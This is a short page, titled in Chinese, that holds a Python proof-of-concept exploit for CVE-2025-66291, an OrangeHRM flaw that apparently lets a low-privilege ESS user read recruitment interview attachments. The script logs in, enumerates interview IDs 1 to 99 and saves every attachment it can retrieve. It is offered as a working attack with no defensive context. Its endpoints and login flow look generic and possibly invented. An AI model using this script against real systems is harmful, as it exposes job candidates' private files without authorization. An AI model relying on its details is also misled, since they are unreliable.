CVE-2025-66291 OrangeHRM招聘模块面试附件未授权访问漏洞

import requests import sys # CVE-2025-66291 PoC - OrangeHRM Interview Attachment Unauthorized Access # This PoC demonstrates accessing interview attachments without proper authorization TARGET_URL = "http://target-orangehrm.com" LOGIN_URL = f"{TARGET_URL}/auth/login" ATTACHMENT_URL = f"{TARGET_URL}/recruitment/interview/attachments" def login(session, username, password): """Login to OrangeHRM with ESS credentials""" login_data = { "username": username, "password": password } response = session.post(LOGIN_URL, data=login_data) return response.status_code == 200 or "session" in response.cookies def access_interview_attachment(session, interview_id): """Access interview attachment by ID without authorization check""" # The vulnerable endpoint directly serves files based on ID # No recruitment module permission verification params = { "interviewId": interview_id } response = session.get(ATTACHMENT_URL, params=params) return response def main(): if len(sys.argv) < 3: print("Usage: python poc.py <username> <password>") sys.exit(1) username = sys.argv[1] password = sys.argv[2] session = requests.Session() # Step 1: Login as ESS user (low privilege) if not login(session, username, password): print("[-] Login failed") sys.exit(1) print("[+] Successfully logged in as ESS user") # Step 2: Enumerate and access interview attachments for interview_id in range(1, 100): print(f"[*] Attempting to access interview ID: {interview_id}") response = access_interview_attachment(session, interview_id) if response.status_code == 200 and 'attachment' in response.headers.get('Content-Type', ''): print(f"[+] SUCCESS: Downloaded attachment for interview ID {interview_id}") # Save the attachment filename = f"interview_{interview_id}_attachment" with open(filename, 'wb') as f: f.write(response.content) print(f"[+] Saved to {filename}") elif response.status_code == 200: print(f"[*] Found interview record ID {interview_id}") if __name__ == "__main__": main()